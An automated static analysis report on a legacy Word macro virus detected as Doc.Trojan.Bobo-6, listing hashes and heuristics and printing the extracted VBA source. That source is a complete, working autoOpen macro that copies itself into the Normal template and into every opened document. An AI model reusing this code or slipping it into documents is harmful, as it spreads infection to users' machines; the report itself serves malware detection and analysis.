Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45ed30f87fb61a9d…

MALICIOUS

Office (OLE)

27.5 KB Created: 2009-08-22 12:07:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: af3002bd5830a3334f8ba6b24b3e257d SHA-1: 210dd2894ccd63d34c8d34fc159bfec136742ad8 SHA-256: 45ed30f87fb61a9dfca699bc60fb95a98331231dcc66f7250c397ad95440d643
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon document opening. The script attempts to copy itself to the Normal template and the active document, suggesting an intent to ensure persistence or spread the macro. The ClamAV detection as 'Doc.Trojan.Bobo-6' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Bobo-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bobo-6
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1429 bytes
SHA-256: 3d796d6dec198a8041e75246e9e5df04da9f025714fcc58132e058a432c0f715
Detection
ClamAV: Doc.Trojan.Bobo-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modulo1"
Sub autoOpen()
Attribute autoOpen.VB_Description = "Macro creada el 09/04/96 por osvald"
Attribute autoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
  t = False
  s = ActiveDocument.Path + "\" + ActiveDocument.Name
  ss = NormalTemplate.Path + "\" + NormalTemplate.Name
  For Each mhac In NormalTemplate.VBProject.VBComponents
    If mhac.Name = "Modulo1" Then t = True
  Next mhac
  If t = False Then
     Application.OrganizerCopy Source:=s, Destination _
     :=ss, Name:="Modulo1", Object:=wdOrganizerObjectProjectItems
     If Err.Number <> 0 Then
       Exit Sub
     End If
     NormalTemplate.Save
     If Err.Number <> 0 Then
       Exit Sub
     End If
  End If
  t = False
  For Each mhac In ActiveDocument.VBProject.VBComponents
    If mhac.Name = "Modulo1" Then t = True
  Next mhac
  If t = False Then
  Application.OrganizerCopy Source:=ss, Destination _
       :=s, Name:="Modulo1", Object:=wdOrganizerObjectProjectItems
     If Err.Number <> 0 Then
        Exit Sub
     End If
     ActiveDocument.Save
     If Err.Number <> 0 Then
       Exit Sub
      End If
   End If
End Sub

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